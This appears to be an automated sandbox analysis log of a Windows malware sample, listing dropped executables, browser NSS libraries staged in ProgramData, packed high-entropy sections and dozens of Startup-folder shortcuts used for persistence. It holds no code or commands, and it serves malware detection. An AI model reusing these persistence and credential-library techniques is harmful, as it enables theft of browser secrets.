Source: MFDBG_ca6dfc71008f4746a0658b4d5bd44cf6.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_d38a6d2e704045e1a12ba9d6465e9cdc.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_703ee5c717db456ba95cadb661dc57b1.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f957bb9da74943bdb46330edfe5f9aa1.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_494d880ee33744e88ff8d364a6bc5245.lnk.8.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: System.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3294744618.00000000388F7000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3264926366.000000002CA1E000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: \??\C:\Windows\System.pdb56 source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3225824440.0000000000DB8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: tem.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: mscorlib.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: tem.Core.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\mscorlib.pdb<qhq source: MFDBG.exe, 0000000E.00000002.3356008529.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ZC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbkm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.PDBxq source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: System.pdb4 source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: orlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 00000000000000000400000000000000e.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr

Source: KKEBKJJDGH.exe.3.dr

Static PE information: 0xF9147003 [Sun Jun 4 12:09:39 2102 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_0041891A

Source: KKEBKJJDGH.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0xec97
Source: MFDBG.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xec97
Source: EBGDHJECFC.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x5cfad
Source: FDWDZ.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xec97
Source: freebl3.dll.3.dr	Static PE information: real checksum: 0xafdcb should be: 0x94690
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x65529
Source: 66f424e80b9cc_idsmds[1].exe.3.dr	Static PE information: real checksum: 0x0 should be: 0xec97
Source: 66f4247d51812_lfdsjna[1].exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x5cfad

Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042F112 push ecx; ret	3_2_0042F125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00422D09 push esi; ret	3_2_00422D0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DD85 push ecx; ret	3_2_0041DD98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432715 push 0000004Ch; iretd	3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C17B536 push ecx; ret	3_2_6C17B549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00440466 push ds; ret	13_2_00440468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00416D75 push ebx; ret	13_2_00416D77

Source: file.exe	Static PE information: section name: .text entropy: 7.996013819094471
Source: EBGDHJECFC.exe.3.dr	Static PE information: section name: .text entropy: 7.995724440591308
Source: 66f4247d51812_lfdsjna[1].exe.3.dr	Static PE information: section name: .text entropy: 7.995724440591308

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EBGDHJECFC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\ProgramData\KKEBKJJDGH.exe	File created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KKEBKJJDGH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EBGDHJECFC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KKEBKJJDGH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\ProgramData\KKEBKJJDGH.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk

Jump to behavior

Source: C:\ProgramData\KKEBKJJDGH.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f24236f8b25a4e9a81d2ca710d1809b6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f5b4cde20c845038dcf777ca4e4e52f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4edd39da451f4f68a9959b3ce9274267.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab4761927eb94698be41afc460dc5cbc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be8484b63e634cdcb2ce08c651739d26.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f066faed82d54fb3ac2dc041d211387f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_912b32319f464929b88178ad27931542.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_636e089d99994f76a06a167cade496c6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_303b5a69def94b789db4ec9c512c3795.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efb9fd4e36c1408e8652770eb11d6d97.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc5db3a0f8a24f979af728d5365609d8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bdefcc6f3d394b7daf45ac4210f5bc78.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9d800f0607d4b6c8f9ecc231ff1eea0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5bdfc922218435dbc3b4c6f99f65f4c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_496a11f1d1c046808ab637b1f9a61271.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1ea440c531ab44b5898de033fb7e79bc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd83b9e0eb2b42e0add1555e4c6bb103.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_161be8eb5229421586ef616afec945ad.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b8d2f054d81466da9ef5c283746c445.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71fd9c32861a45c1b236dff5e1044f1a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ddbeed70c9244c1bba47bf6d0a71a84.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8267522f9bd942d4be804acfa38c0a33.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2f039d7e0e6f4b60b6bd34b56bb3aa63.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7788557f463461084769439b4c95751.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a96f8fc4f214c8396ca2d3ab4f70866.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98096ab2cce34311adf1f7fe4617ab69.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d9486ade251498f98c4249964219fca.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26e8e0f7dfd64d628a4fe63b4623122f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd9a16a74f3b4674af31b2ca23b5aeef.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4dac9550957444a29c6e5616da41cbb2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4178df279e5a4ce3bda39fbf6484144f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a2886683de244325be147c05fd99a7a2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bbdb0c2f79b4403fa949451a75908dd7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7164ba6916484b16beccacd38d82d5eb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68f3363f0d3342ef970448aa4e9c6472.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_07b2f22b586041fcb482324a015aa4c7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71b159d28dff48558066aed0f9e2d7c8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95c4a620e7c54d51bcd5d5734b0b139b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74397b91852c4305a52fbdae5b4699ee.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af69a3071f6e43b8b81e8b2f718a041f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fea3fd30906f4f4293d9939cd494c87c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_661c9c404d5a4cb38dfa37a647a7ab6e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a1b9a061317f42338cb95985a24a3681.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73f9842952ec4b7e8d8214da8f4c186b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a240e77830949ec8eaa9483da0e0ba9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_143ec38e28af40e584cada10cac44145.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ade6b44efc74a239d67203fecc80a57.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81557168fff74d42a4ccc696bb554d7b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_762d026cbe9d4d3ab50cbdbff32698fb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63db1a430d05465daea4982ab73643fb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ef176e6c7e541ed87941dfa4d51d947.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d1f077e0861b44359694aa86ac4c1f8f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8982795395448b2af5a7d2228283738.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a1b371b863c43a39d58c1ef48c87fd9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ddaef215b5f94e928806881b30c4c26d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a93a72c9e1ff456296b25c49375fccc2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bce814e4d34b4f13ad46659db63c6755.lnk	Jump to behavior
